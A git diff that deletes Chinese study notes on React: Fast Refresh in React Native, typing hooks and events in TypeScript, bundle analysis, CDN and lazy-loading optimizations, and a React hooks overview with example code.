通知块热替换客户端,热替换客户端实际就是运行在 React Native 应用中的一段 JavaScript 代码,它一开始就执行了一个 socket 监听事件(④)。React Native 收到通知后,就会向请求 bundle 服务发起请求。然后,bundle 服务会返回一个用于更新的 bundle(⑤),并使用 JavaScript 引擎,在原来 React Native 应用的 JavaScript 上下文中执行用于更新的 bundle。这个 bundle 是由多个模块组成的,你修改代码文件对应的模块及其依赖模块都是新模块,新模块会把原先的旧模块替换掉。⑥这就是整个模块热替换的全部过程,这里我放了一张流程图,你可以参考一下: - -![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/2fd3716c54b10fe645b9a3d4301cdb15.jpg) - -基础的模块热替换功能只能实现组件级别的强制刷新,而组件状态的丢失,会导致开发效率的降低。 - -### 进阶能力:复用组件及其状态 - -**简而言之,React Native 的快速刷新功能,就是通过“代理”组件的方式,实现了组件状态不丢失,原生视图不重建。** - -![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/6eb61b9eb4d62b0519aed1a2a23e22a9.jpg) - -当然,并不是所有情况都会复用状态和原生视图: - -> The simple answer is “replace them on the prototype” but even with Proxies, in my experience there are too many gnarly edge cases for this to work reliably. - -所以,我给你的建议是,尽可能地拥抱函数组件,放弃类组件。这样你在 UI 调试的时候,就能更多的享受函数组件带来的状态保留好处。特别是一些入口很深的组件,需要多次操作后才能调试,一旦导航、蒙层、滚动之类的组件状态丢失了,整个操作就要重新再来一遍,才能重新进行调试。拥抱函数组件,你的调试效率才会更高。 - -### 整体策略:逐步降级 - -快速刷新的整体策略就是逐步降级。如果颗粒度最小的更新不能使用,就换成颗粒度大一些的更新: - -代码块:如果你只修改了函数组件中的一些代码块,并且没有改动 hooks 的顺序。快速刷新在复用状态和原生视图的同时,你对该文件的所有修改都会生效,包括样式、渲染逻辑、事件处理、甚至一些副作用; - -组件:如果你修改了类组件中的任意代码,快速刷新会使用新的类组件进行重新渲染,原来的状态和原生视图都会被销毁; - -模块:如果你修改的模块导出的东西不只是 React 组件,快速刷新将重新执行该模块以及所有依赖它的模块; - -React Native 应用:如果你修改的文件被 React 组件树之外的模块引用了,快速刷新将重新渲染整个 React Native 应用。 - -可以看到,快速刷新的逐步降级策略是,**从更新颗粒度最小代码块开始的,然后是组件、模块,最后是大颗粒度的 React Native 应用。**越小颗粒度的更新,为我们保留了越多原来的状态和环境,我们的开发调试效率也更高。 - -![image-20220512160143506](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220512160143506.png) - -## Debug:解决 BUG 思路有哪些? - -### 一个模型:发现问题、找到原因、修复 Bug - -![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/8326a0d730d4ac2fd526ec02dc7125c0.png) - -## 两个原则:不带上线原则和本地复现原则 - -https://time.geekbang.org/column/article/508776 diff --git "a/src/React/React \344\270\255\344\275\277\347\224\250 TypeScript.md" "b/src/React/React \344\270\255\344\275\277\347\224\250 TypeScript.md" deleted file mode 100644 index c397a78b..00000000 --- "a/src/React/React \344\270\255\344\275\277\347\224\250 TypeScript.md" +++ /dev/null @@ -1,415 +0,0 @@ ---- -date: 2022-08-16 -category: -- React ---- - -# React 中使用 TypeScript - -> 笔记总结自《TS全面进阶指南》 - -## 泛型坑位 - -### useState - -**基本类型** - -首先是 useState,可以由输入值隐式推导或者显式传入泛型: - -```tsx -const Container = () => { - // 推导为 string 类型 - const [state1, setState1] = useState('linbudu'); - // 此时类型为 string | undefined - const [state2, setState2] = useState(); -}; -``` - -需要注意的是在显式传入泛型时,如果像上面的例子一样没有提供初始值,那么 state2 的类型实际上会是 `string | undefined`,这是因为在 useState 声明中对是否提供初始值的两种情况做了区分重载 - -```ts -// 提供了默认值 -function useState(initialState: S | (() => S)): [S, Dispatch>]; - -// 没有提供默认值 -function useState(): [S | undefined, Dispatch>]; -``` - -**空对象** - -```typescript -const [data, setData] = useState({} as IData); -``` - -这么做的坏处在于,后续的调用方中会认为这是一个完整实现了 IData 结构的对象,可能会出现遗漏的未赋值属性,此时你也可以使用 Partial 类型标记它为可选: - -```typescript -const [data, setData] = useState>({}); -``` - -如果你需要消费 useState 返回值的类型,可以搭配 ReturnType: - -```typescript -// 相当于 useState(0) 的返回值类型 -type State = ReturnType>; -``` - -### useCallback 与 useMemo - -然后是 useCallback 与 useMemo,它们的泛型参数分别表示包裹的函数和计算产物,使用方式类似,也分为**隐式推导**与**显式提供**两种: - -```ts -const Container = () => { - // 泛型推导为 (input: number) => boolean - const handler1 = useCallback((input: number) => { - return input > 599; - }, []); - - // 显式提供为 (input: number, compare: boolean) => boolean - const handler2 = useCallback<(input: number, compare: boolean) => boolean>( - (input: number) => { - return input > 599; - }, - [] - ); - - // 推导为 string - const result1 = useMemo(() => { - return 'some-expensive-process'; - }, []); - - // 显式提供 - const result2 = useMemo<{ name?: string }>(() => { - return {}; - }, []); -}; -``` - -通常情况下,我们不会主动为 useCallback 提供泛型参数,因为其传入的函数往往已经确定。而为 useMemo 提供泛型参数则要常见一些,因为我们可能希望通过这种方式来约束 useMemo 最后的返回值。 - -### [useReducer](https://zh-hans.reactjs.org/docs/hooks-reference.html#usereducer) - -useReducer 可以被视为更复杂一些的 useState,它们关注的都是数据的变化。不同的是 useReducer 中只能由 reducer 按照特定的 action 来修改数据,但 useState 则可以随意修改。useReducer 有三个泛型坑位,分别为 reducer 函数的类型签名、数据的结构以及初始值的计算函数,我们直接看实际使用即可: - -```tsx -import { useReducer } from 'react'; - -const initialState = { count: 0 }; - -type Actions = - | { - type: 'inc'; - payload: { - count: number; - max?: number; - }; - } - | { - type: 'dec'; - payload: { - count: number; - min?: number; - }; - }; - -function reducer(state: typeof initialState, action: Actions) { - switch (action.type) { - case 'inc': - return { - count: action.payload.max - ? Math.min(state.count + action.payload.count, action.payload.max) - : state.count + action.payload.count, - }; - case 'dec': - return { - count: action.payload.min - ? Math.max(state.count + action.payload.count, action.payload.min) - : state.count - action.payload.count, - }; - default: - throw new Error('Unexpected Action Received.'); - } -} - -function Counter() { - const [state, dispatch] = useReducer(reducer, initialState); - - return ( - <> - Count: {state.count} - - - - ); -} -``` - -在上面的例子中,useReducer 的泛型参数分别被填充为 reducer 函数的类型签名,以及其初始状态。 - -```ts -type Reducer = (prevState: S, action: A) => S; -type ReducerState> = R extends Reducer ? S : never; - -function useReducer>( - reducer: R, - initialState: ReducerState, -): [ReducerState, Dispatch>]; -``` - -R 被填充为了一整个函数类型,而 `ReducerState` 实际上就是提取了 reducer 中代表 state 的参数,即状态的类型,在这里即是 `{ count: number }` 这么一个结构。 - -需要注意的是,在 reducer 中其实也应用了我们此前提到过的**可辨识联合类型概念**,这里的 `action.type` 即为可辨识属性,通过 type 判断,我们就能在每一个 case 语句中获得联合类型对应分支的类型。 - -### useRef 与 [useImperativeHandle](https://zh-hans.reactjs.org/docs/hooks-reference.html#useimperativehandle) - -useRef 的常见使用场景主要包括两种,存储一个 DOM 元素引用和持久化保存一个值。这两者情况对应的类型其实也是不同的: - -```tsx -const Container = () => { - const domRef = useRef(null); - const valueRef = useRef(599); - - const operateRef = () => { - domRef.current?.getBoundingClientRect(); - valueRef.current += 1; - }; - - return ( -
    -

    林总

    -
    - ); -}; -``` - -对于 domRef,此时其类型(current)会被推断为 `RefObject`,而 valueRef 的值类型则为 `MutableRefObject`,这是完全符合预期的。因为我们并不会去修改挂载了 DOM 引用的 ref,而确实会修改值引用的 ref ,所以后者会是 Mutable 的。 - -从 useRef 的类型定义可以看出,对于初始值为 null 的 useRef,其类型均会被推导为 RefObject - -```ts -function useRef(initialValue: T): MutableRefObject; -function useRef(initialValue: T | null): RefObject; -function useRef(): MutableRefObject; -``` - -useImperativeHandle 并非常用的 hook,常与[`React.forwardRef`](https://zh-hans.reactjs.org/docs/react-api.html#reactforwardref) 共同使用 - -## 内置类型定义 - -### **MouseEvent、ChangeEvent** - -除了上面介绍的泛型坑位以外,在 React 中想要用好 TypeScript 的另一个关键因素就是使用 `@types/react` 提供的类型定义,最常见的就是事件类型,比如输入框值变化时的 ChangeEvent 和鼠标事件通用的 MouseEvent: - -```ts -import { useState } from 'react'; -import type { ChangeEvent, MouseEvent } from 'react'; - -const Container = () => { - const [v, setV] = useState('linbudu'); - - const handleChange = (event: ChangeEvent) => {}; - - const handleClick = (event: MouseEvent) => {}; - - return ( - <> - - - - ); -}; -``` - -ChangeEvent 和 MouseEvent 上还具有一个泛型坑位,用于指定发生此事件的元素类型,我们可以在这里进一步传入 **HTMLButtonElement** 这样更精确的元素类型获得更严格的类型检查。 - -### **ChangeEventHandler** - -除了使用 ChangeEvent 作为参数类型,React 还提供了整个函数的类型签名,如 ChangeEventHandler: - -```typescript -const handleChange: ChangeEventHandler = (e) => {}; -``` - -由于上下文类型的存在,此时就无需再为 e 声明类型了,它会自动被推导为 `ChangeEvent` 。 - -类似的事件定义还有非常多,如 FormEvent、TouchEvent、DragEvent 等,但无需对所有定义都了解,在实际用到时再去导入即可。需要注意的是,由于 InputEvent [并非在所有浏览器都得到了支持](https://link.juejin.cn/?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FAPI%2FInputEvent),因此并不存在对应的类型定义,你可以使用 KeyboardEvent 来代替。 - -### **CSSProperties** - -CSS样式属性 - -```tsx -import type { CSSProperties } from 'react'; - -export interface IContainerProps { - style: CSSProperties; -} - -const css: CSSProperties = { - display: 'flex', - alignContent: 'center', - justifyContent: 'center', -}; - -const Container = ({ style }: IContainerProps) => { - return

    林总!

    ; -}; -``` - -#### ComponentProps - -基于原生 HTML 元素去封装组件时,通常会需要将这个原生元素的所有 HTML 属性都保留下来作为组件的属性,可以使用 ComponentProps 来提取出一个元素上所有的属性,避免一个个重复声明: - -```typescript -import type { ComponentProps } from 'react'; - -interface IButtonProps extends ComponentProps<'button'> { - size?: 'small' | 'large'; - link?: boolean; -} -const Button = (props: IButtonProps) => { - return ; -}; -``` - -除了对原生 DOM 元素使用以外,这一用法在使用组件库时也有奇效,比如组件库只导出了这个组件而没有导出这个组件的属性类型定义,而我们又需要基于这个组件进行定制封装,此时就可以使用 ComponentProps 去提取它的属性类型: - -```typescript -import { Button } from "ui-lib"; -import type { ComponentProps } from 'react'; - -interface IButtonProps extends ComponentProps; -}; -``` - -> 由于 React 中 ref 的存在,有些时候我们会希望区分组件使用 ref 和没使用 ref 的情况,此时可以使用内置类型 ComponentPropsWithRef 或 ComponentPropsWithoutRef ,其使用方式与 ComponentProps 一致。 - -#### ReactElement 与 ReactNode - -ReactElement 是 createElement、cloneElement 等 factory 方法的返回值类型,它本质上指的是一个有效的 JSX 元素,即 `JSX.Element`。而 ReactNode 可以认为包含了 ReactElement ,它还包含 null、undefined 以及 ReactFragment 等一些特殊的部分,其类型定义如下: - -```ts -type ReactText = string | number; -type ReactChild = ReactElement | ReactText; -type ReactNode = ReactChild | ReactFragment | ReactPortal | boolean | null | undefined; -``` - -## 项目中的类型声明文件划分 - -在实际应用中使用 TypeScript 进行开发时,我们往往需要大量的类型代码,而如何存放这些类型代码,其实就需要预先有一个明确的规范。目前我使用的方式是,在项目中使用一个专门的文件夹存放类型代码,其中又按照这些类型的作用进行了划分,其分布大致是这样的: - -```text -PROJECT -├── src -│ ├── types -│ │ ├── shared.ts -│ │ ├── [biz].ts -│ │ ├── request.ts -│ │ ├── tool.ts -│ ├── typings.d.ts -└── tsconfig.json -``` - -我们来依次讲解下这些类型声明文件的作用: - -- `shared.ts`,被其他类型定义所使用的类型,如简单的联合类型封装、简单的结构工具类型等。 - -- `[biz].ts`,与业务逻辑对应的类型定义,比如 `user.ts` `module.ts` 等,推荐的方式是在中大型项目中尽可能按照业务模型来进行细粒度的拆分。 - -- `request.ts`,请求相关的类型定义,推荐的方式是定义响应结构体,然后使用 biz 中的业务逻辑类型定义进行填充: - - ```typescript - import type { Status } from "./shared"; - - export interface IRequestStruct { - status: Status; - code: number; - data: TData; - } - - export interface IPaginationRequestStruct { - status: Status; - curPage: number; - totalCount: number; - hasNextPage: boolean; - data: TData[]; - } - ``` - - 实际使用时: - - ```typescript - import type { IPaginationRequestStruct } from "@/types/request"; - import type { IUserProfile } from "@/types/user"; - - export function fetchUserList: Promise> {} - ``` - - 通过这种方式,你的类型代定义之间就能够建立起清晰的、和业务逻辑一致的引用关系。 - -- `tool.ts`,工具类型定义,一般是推荐把比较通用的工具类型抽离到专门的工具类型库中,这里只存放使用场景特殊的部分。 - -- `typings.d.ts`,全局的类型声明,包括非代码文件的导入、无类型 npm 包的类型声明、全局变量的类型定义等等,你也可以进一步拆分为 `env.d.ts` `runtime.d.ts` `module.d.ts` 等数个各司其职的声明文件。 - -在实际场景中,这一规范的粒度并不一定能够满足你的需要,但你仍然可以按照这一思路进行类型定义的梳理和妥善放置。另外,我们并不需要将所有的类型定义都专门放到这个文件夹里,比如仅被组件自身消费的类型就应该使用就近原则,直接和组件代码一起即可。 - -## 组件与组件类型 - -在 React 父子组件中一个常见的场景是,父组件导入各个子组件,传递属性时会进行额外的数据处理,其结果的类型被这多个子组件共享,而这个类型又仅被父子组件消费,不应当放在全局的类型定义中,而将这个类型定义在父组件中,子组件使用仅类型导入去导入这个类型。 - -```tsx -// Parent.tsx - -import { ChildA } from "./ChildA"; -import { ChildB } from "./ChildB"; -import { ChildC } from "./ChildC"; - -// 被多个子组件消费的类型 -export interface ISpecialDataStruct {} - -const Parent = () => { - const data: ISpecialDataStruct = {}; - - return ( - <> - - - - - ) -} - -// ChildA.tsx -import type { ISpecialDataStruct } from "./parent"; - -interface IAProp { - inputA: ISpecialDataStruct; -} - -export const ChildA: FC = (props) => { - // ... -} -``` - diff --git "a/src/React/React \351\241\271\347\233\256\344\274\230\345\214\226.md" "b/src/React/React \351\241\271\347\233\256\344\274\230\345\214\226.md" deleted file mode 100644 index df71a243..00000000 --- "a/src/React/React \351\241\271\347\233\256\344\274\230\345\214\226.md" +++ /dev/null @@ -1,170 +0,0 @@ ---- -date: 2022-05-12 -category: -- React ---- -# React 项目优化 - -## 打包体积分析 - -`本节目标:` 能够分析项目打包体积 - -**分析说明**通过分析打包体积,才能知道项目中的哪部分内容体积过大,才能知道如何来优化 - -**使用步骤** - -1. 安装分析打包体积的包:`yarn add source-map-explorer` -2. 在 package.json 中的 scripts 标签中,添加分析打包体积的命令 -3. 对项目打包:`yarn build`(如果已经打过包,可省略这一步) -4. 运行分析命令:`yarn analyze` -5. 通过浏览器打开的页面,分析图表中的包体积 - -**核心代码**: - -package.json 中: - -```json -"scripts": { - "analyze": "source-map-explorer 'build/static/js/*.js'", -} -``` - - - -## 优化-配置CDN - -`本节目标:` 能够对第三方包使用CDN优化 - -**分析说明**:通过 craco 来修改 webpack 配置,从而实现 CDN 优化 - -**核心代码** - -`craco.config.js` - -```js -const path = require('path') -const { whenProd, getPlugin, pluginByName } = require('@craco/craco') -module.exports = { - // webpack 配置 - webpack: { - // 配置CDN - configure: (webpackConfig) => { - let cdn = { - js: [], - css: [] - } - // 只有生产环境才配置 - whenProd(() => { - webpackConfig.externals = { - react: 'React', - 'react-dom': 'ReactDOM' - } - cdn = { - js: [ - 'https://cdn.bootcdn.net/ajax/libs/react/17.0.2/umd/react.production.min.js', - 'https://cdn.bootcdn.net/ajax/libs/react-dom/17.0.2/umd/react-dom.production.min.js', - ], - css: [] - } - }) - const { isFound, match } = getPlugin( - webpackConfig, - pluginByName('HtmlWebpackPlugin') - ) - if (isFound) { - // 找到了HtmlWebpackPlugin的插件 - match.userOptions.cdn = cdn - } - return webpackConfig - } - } -} -``` - -`public/index.html ` - -```html - -
    - - <% htmlWebpackPlugin.userOptions.cdn.js.forEach(cdnURL => { %> - - <% }) %> - -``` - - - -## 优化-路由懒加载 - -`本节目标:` 能够对路由进行懒加载实现代码分隔 - -**使用步骤** - -1. 在 App 组件中,导入 Suspense 组件 -2. 在 路由Router 内部,使用 Suspense 组件包裹组件内容 -3. 为 Suspense 组件提供 fallback 属性,指定 loading 占位内容 -4. 导入 lazy 函数,并修改为懒加载方式导入路由组件 - -**代码实现** - -`App.js` - -```jsx -import { Routes, Route } from 'react-router-dom' -import { HistoryRouter, history } from './utils/history' -import { AuthRoute } from './components/AuthRoute' - -// 导入必要组件 -import { lazy, Suspense } from 'react' -// 按需导入路由组件 -const Login = lazy(() => import('./pages/Login')) -const Layout = lazy(() => import('./pages/Layout')) -const Home = lazy(() => import('./pages/Home')) -const Article = lazy(() => import('./pages/Article')) -const Publish = lazy(() => import('./pages/Publish')) - -function App () { - return ( - - - loading... - - } - > - - {/* 需要鉴权的路由 */} - - - - }> - {/* 二级路由默认页面 */} - } /> - } /> - } /> - - {/* 不需要鉴权的路由 */} - } /> - - - - ) -} - -export default App -``` - - - -**查看效果** - -我们可以在打包之后,通过切换路由,监控network面板资源的请求情况,验证是否分隔成功 - diff --git "a/src/React/ReactHooks\346\261\207\346\200\273.md" "b/src/React/ReactHooks\346\261\207\346\200\273.md" deleted file mode 100644 index 42fa398d..00000000 --- "a/src/React/ReactHooks\346\261\207\346\200\273.md" +++ /dev/null @@ -1,443 +0,0 @@ ---- -date: 2022-05-12 -category: -- React ---- -# ReactHooks 汇总 - -> React-hooks是react16.8以后,react新增的钩子API,目的是增加代码的可复用性,逻辑性,弥补无状态组件没有生命周期,没有数据管理状态state的缺陷。笔者认为,react-hooks思想和初衷,也是把组件,颗粒化,单元化,形成独立的渲染环境,减少渲染次数,优化性能。 - -useCallback✅ - -useContext✅ - -useEffect✅ - -useLayoutEffect ✅ - -useMemo ✅ - -useReducer✅ - -useRef✅ - -useState✅ - -## 为什么要使用hooks - -我们为什么要使用react-hooks呢,首先和传统的class声明的有状态有这显著的优点就是 - -1 react-hooks可以让我们的代码的逻辑性更强,可以抽离公共的方法,公共组件。 - -2 react-hooks思想更趋近于函数式编程。 - -3 react-hooks可能把庞大的class组件,化整为零成很多小组件,useMemo等方法让组件或者变量制定一个适合自己的独立的渲染空间,一定程度上可以提高性能,减少渲染次数。 - -## 如何使用hooks - -### useState 数据存储,派发更新 - -useState出现,使得react无状态组件能够像有状态组件一样,可以拥有自己state,useState的参数可以是一个具体的值,也可以是一个函数用于判断复杂的逻辑,函数返回作为初始值,usestate 返回一个数组,数组第一项用于读取此时的state值 ,第二项为派发数据更新,组件渲染的函数,函数的参数即是需要更新的值。useState和useReduce 作为能够触发组件重新渲染的hooks,我们在使用useState的时候要特别注意的是,useState派发更新函数的执行,就会让整个function组件从头到尾执行一次,所以需要配合useMemo,usecallback等api配合使用,这就是我说的为什么滥用hooks会带来负作用的原因之一了。一下代码为usestate基本应用 - -```jsx -const DemoState = (props) => { - /* number为此时state读取值 ,setNumber为派发更新的函数 */ - let [number, setNumber] = useState(0) /* 0为初始值 */ - return (
    - { number } - -
    ) -} -``` - -上边简单的例子说明了useState ,但是当我们在调用更新函数之后,state的值是不能即时改变的,只有当下一次上下文执行的时候,state值才随之改变。 - -```jsx -const a =1 -const DemoState = (props) => { - /* useState 第一个参数如果是函数 则处理复杂的逻辑 ,返回值为初始值 */ - let [number, setNumber] = useState(()=>{ - // number - return a===1 ? 1 : 2 - }) /* 1为初始值 */ - return (
    - { number } - -
    ) -} -``` - -### useEffect 组件更新副作用钩子 - -如果你想在function组件中,当组件完成挂载,dom渲染完成,做一些操纵dom,请求数据,那么useEffect是一个不二选择,如果我们需要在组件初次渲染的时候请求数据,那么useEffect可以充当class组件中的 componentDidMount , **但是特别注意的是,如果不给useEffect执行加入限定条件,函数组件每一次更新都会触发effect ,那么也就说明每一次state更新,或是props的更新都会触发useEffect执行,此时的effect又充当了componentDidUpdate和componentwillreceiveprops,所以说合理的用于useEffect就要给effect加入限定执行的条件,也就是useEffect的第二个参数,这里说是限定条件,也可以说是上一次useeffect更新收集的某些记录数据变化的记忆,在新的一轮更新,useeffect会拿出之前的记忆值和当前值做对比,如果发生了变化就执行新的一轮useEffect的副作用函数,useEffect第二个参数是一个数组,用来收集多个限制条件 。** - -```jsx -/* 模拟数据交互 */ -function getUserInfo(a){ - return new Promise((resolve)=>{ - setTimeout(()=>{ - resolve({ - name:a, - age:16, - }) - },500) - }) -} - -const Demo = ({ a }) => { - const [ userMessage , setUserMessage ] :any= useState({}) - const div= useRef() - const [number, setNumber] = useState(0) - /* 模拟事件监听处理函数 */ - const handleResize =()=>{} - /* useEffect使用 ,这里如果不加限制 ,会是函数重复执行,陷入死循环*/ - useEffect(()=>{ - /* 请求数据 */ - getUserInfo(a).then(res=>{ - setUserMessage(res) - }) - /* 操作dom */ - console.log(div.current) /* div */ - /* 事件监听等 */ - window.addEventListener('resize', handleResize) - /* 只有当props->a和state->number改变的时候 ,useEffect副作用函数重新执行 ,如果此时数组为空[],证明函数只有在初始化的时候执行一次相当于componentDidMount */ - },[ a ,number ]) - return (
    - { userMessage.name } - { userMessage.age } -
    setNumber(1) } >{ number }
    -
    ) -} -``` - -如果我们需要在组件销毁的阶段,做一些取消dom监听,清除定时器等操作,那么我们可以在useEffect函数第一个参数,结尾返回一个函数,用于清除这些副作用。相当与componentWillUnmount。 - -```jsx -const Demo = ({ a }) => { - /* 模拟事件监听处理函数 */ - const handleResize =()=>{} - useEffect(()=>{ - /* 定时器 延时器等 */ - const timer = setInterval(()=>console.log(666),1000) - /* 事件监听 */ - window.addEventListener('resize', handleResize) - /* 此函数用于清除副作用 */ - return function(){ - clearInterval(timer) - window.removeEventListener('resize', handleResize) - } - },[ a ]) - return (
    -
    ) -} -``` - -#### 异步 async effect ? - -提醒大家的是 useEffect是不能直接用 async await 语法糖的 - -```js -/* 错误用法 ,effect不支持直接 async await 装饰的 */ - useEffect(async ()=>{ - /* 请求数据 */ - const res = await getUserInfo(payload) - },[ a ,number ]) - - -``` - -如果我们想要用 async effect 可以对effect进行一层包装(传入async await装饰的回调函数) - -```js -const asyncEffect = (callback, deps)=>{ - useEffect(()=>{ - callback() - },deps) -} -``` - -### useLayoutEffect 渲染更新之前的 useEffect - -useEffect 执行顺序:组件更新挂载完成 -> 浏览器dom 绘制完成 -> 执行useEffect回调 。 - -useLayoutEffect 执行顺序:组件更新挂载完成 -> 执行useLayoutEffect回调-> 浏览器dom 绘制完成 - -所以说useLayoutEffect 代码可能会阻塞浏览器的绘制 如果我们在useEffect 重新请求数据,渲染视图过程中,肯定会造成画面闪动的效果,而如果用useLayoutEffect ,**回调函数的代码就会阻塞浏览器绘制**,所以可定会引起画面卡顿等效果,那么具体要用 useLayoutEffect 还是 useEffect ,要看实际项目的情况,大部分的情况 useEffect 都可以满足的。 - -```jsx -const DemoUseLayoutEffect = () => { - const target = useRef() - useLayoutEffect(() => { - /*我们需要在dom绘制之前,移动dom到制定位置*/ - const { x ,y } = getPositon() /* 获取要移动的 x,y坐标 */ - animate(target.current,{ x,y }) - }, []); - return ( -
    - -
    - ) -} -``` - -### useRef 获取元素 ,缓存数据。 - -和传统的class组件ref一样,react-hooks 也提供获取元素方法 useRef,它有一个参数可以作为缓存数据的初始值,返回值可以被dom元素ref标记,可以获取被标记的元素节点. - -```jsx -const DemoUseRef = ()=>{ - const dom= useRef(null) - const handerSubmit = ()=>{ - /*
    表单组件
    dom 节点 */ - console.log(dom.current) - } - return
    - {/* ref 标记当前dom节点 */} -
    表单组件
    - -
    -} -``` - -#### 高阶用法 缓存数据 - -**当然useRef还有一个很重要的作用就是缓存数据,我们知道usestate ,useReducer 是可以保存当前的数据源的,但是如果它们更新数据源的函数执行必定会带来整个组件从新执行到渲染,如果在函数组件内部声明变量,则下一次更新也会重置,如果我们想要悄悄的保存数据,而又不想触发函数的更新,那么useRef是一个很棒的选择。** - -> const currenRef = useRef(InitialData) - -获取 currenRef.current 改变 currenRef.current = newValue - -useRef可以第一个参数可以用来初始化保存数据,这些数据可以在current属性上获取到 ,当然我们也可以通过对current赋值新的数据源。 - -### useContext 自由获取context - -我们可以使用useContext ,来获取父级组件传递过来的context值,**这个当前值就是最近的父级组件 Provider 设置的value值**,useContext参数一般是由 createContext 方式引入 ,也可以父级上下文context传递 ( 参数为context )。useContext 可以代替 context.Consumer 来获取Provider中保存的value值 - -```jsx -/* 用useContext方式 */ -const DemoContext = ()=> { - const value:any = useContext(Context) - /* my name is alien */ -return
    my name is { value.name }
    -} - -/* 用Context.Consumer 方式 */ -const DemoContext1 = ()=>{ - return - {/* my name is alien */} - { (value)=>
    my name is { value.name }
    } -
    -} - -export default ()=>{ - return
    - - - - -
    -} -``` - -### useReducer 无状态组件中的redux - -useReducer 是react-hooks提供的能够在无状态组件中运行的类似redux的功能api,至于它到底能不能代替redux react-redux ,我个人的看法是不能的 ,redux 能够复杂的逻辑中展现优势 ,而且 redux的中间件模式思想也是非常优秀了,我们可以通过中间件的方式来增强dispatch redux-thunk redux-sage redux-action redux-promise都是比较不错的中间件,可以把同步reducer编程异步的reducer。useReducer 接受的第一个参数是一个函数,我们可以认为它就是一个reducer ,reducer的参数就是常规reducer里面的state和action,返回改变后的state, useReducer第二个参数为state的初始值 返回一个数组,数组的第一项就是更新之后state的值 ,第二个参数是派发更新的dispatch函数 。**dispatch 的触发会触发组件的更新,这里能够促使组件从新的渲染的一个是useState派发更新函数,另一个就 useReducer中的dispatch** - -```jsx -const DemoUseReducer = ()=>{ - /* number为更新后的state值, dispatchNumbner 为当前的派发函数 */ - const [ number , dispatchNumbner ] = useReducer((state,action)=>{ - const { payload , name } = action - /* return的值为新的state */ - switch(name){ - case 'add': - return state + 1 - case 'sub': - return state - 1 - case 'reset': - return payload - } - return state - },0) - return
    - 当前值:{ number } - { /* 派发更新 */ } - - - - { /* 把dispatch 和 state 传递给子组件 */ } - -
    -} -``` - -当然实际业务逻辑可能更复杂的,需要我们在reducer里面做更复杂的逻辑操作。 - -### useMemo 小而香性能优化 - -useMemo我认为是React设计最为精妙的hooks之一,优点就是能形成独立的渲染空间,能够使组件,变量按照约定好规则更新。渲染条件依赖于第二个参数deps。 我们知道无状态组件的更新是从头到尾的更新,如果你想要从新渲染一部分视图,而不是整个组件,那么用useMemo是最佳方案,避免了不需要的更新,和不必要的上下文的执行,在介绍useMemo之前,我们先来说一说, memo, 我们知道class声明的组件可以用componentShouldUpdate来限制更新次数,那么memo就是无状态组件的ShouldUpdate , 而我们今天要讲的useMemo就是更为细小的ShouldUpdate单元, - -先来看看memo ,memo的作用结合了pureComponent纯组件和 componentShouldUpdate功能,会对传进来的props进行一次对比,然后根据第二个函数返回值来进一步判断哪些props需要更新。 - -```jsx -/* memo包裹的组件,就给该组件加了限制更新的条件,是否更新取决于memo第二个参数返回的boolean值, */ -const DemoMemo = connect(state => - ({ goodList: state.goodList }) -)(memo(({ goodList, dispatch, }) => { - useEffect(() => { - dispatch({ - name: 'goodList', - }) - }, []) - return - /* 判断之前的goodList 和新的goodList 是否相等,如果相等, - 则不更新此组件 这样就可以制定属于自己的渲染约定 ,让组件只有满足预定的下才重新渲染 */ -}, (pre, next) => is(pre.goodList, next.goodList))) -``` - -useMemo的应用理念和memo差不多,都是判定是否满足当前的限定条件来决定是否执行useMemo的callback函数,而useMemo的第二个参数是一个deps数组,数组里的参数变化决定了useMemo是否更新回调函数,useMemo返回值就是经过判定更新的结果。它可以应用在元素上,应用在组件上,也可以应用在上下文当中。如果又一个循环的list元素,那么useMemo会是一个不二选择,接下来我们一起探寻一下useMemo的优点 - -```js -/* 用 useMemo包裹的list可以限定当且仅当list改变的时候才更新此list,这样就可以避免selectList重新循环 */ - {useMemo(() => ( -
    { - selectList.map((i, v) => ( - - {i.patentName} - - ))} -
    -), [selectList])} -``` - -**1 useMemo可以减少不必要的循环,减少不必要的渲染** - -```js - useMemo(() => ( - 取消, - - ]} - > - { /* 减少了PatentTable组件的渲染 */ } - - - ), [listshow, cacheSelectList]) -``` - -**2 useMemo可以减少子组件的渲染次数** - -```jsx -const DemoUseMemo=()=>{ - /* 用useMemo 包裹之后的log函数可以避免了每次组件更新再重新声明 ,可以限制上下文的执行 */ - const newLog = useMemo(()=>{ - const log =()=>{ - console.log(6666) - } - return log - },[]) - return
    newLog()} >
    -} -``` - -**3 useMemo让函数在某个依赖项改变的时候才运行,这可以避免很多不必要的开销(这里要注意⚠️⚠️⚠️的是如果被useMemo包裹起来的上下文,形成一个独立的闭包,会缓存之前的state值,如果没有加相关的更新条件,是获取不到更新之后的state的值的,如下边👇⬇️)** - -```jsx -const DemoUseMemo=()=>{ - const [ number ,setNumber ] = useState(0) - const newLog = useMemo(()=>{ - const log =()=>{ - /* 点击span之后 打印出来的number 不是实时更新的number值 */ - console.log(number) - } - return log - /* [] 没有 number */ - },[]) - return
    -
    newLog()} >打印
    - setNumber( number + 1 ) } >增加 -
    -} -``` - -**useMemo很不错,react-redux 用react-hooks重写后运用了大量的useMemo情景,我为大家分析两处** - -useMemo 同过 store didStoreComeFromProps contextValue 属性制定是否需要重置更新订阅者subscription ,这里我就不为大家讲解react-redux了,有兴趣的同学可以看看react-redux源码,看看是怎么用useMemo的 - -```js -const [subscription, notifyNestedSubs] = useMemo(() => { - if (!shouldHandleStateChanges) return NO_SUBSCRIPTION_ARRAY - - const subscription = new Subscription( - store, - didStoreComeFromProps ? null : contextValue.subscription // old - ) - - const notifyNestedSubs = subscription.notifyNestedSubs.bind( - subscription - ) - - return [subscription, notifyNestedSubs] -}, [store, didStoreComeFromProps, contextValue]) -``` - -react-redux通过 判断 redux store的改变来获取与之对应的state - -```js - const previousState = useMemo(() => store.getState(), [store]) -``` - -讲到这里,**如果我们应用useMemo根据依赖项合理的颗粒化我们的组件,能起到很棒的优化组件的作用。** - -### 8 useCallback useMemo版本的回调函数 - 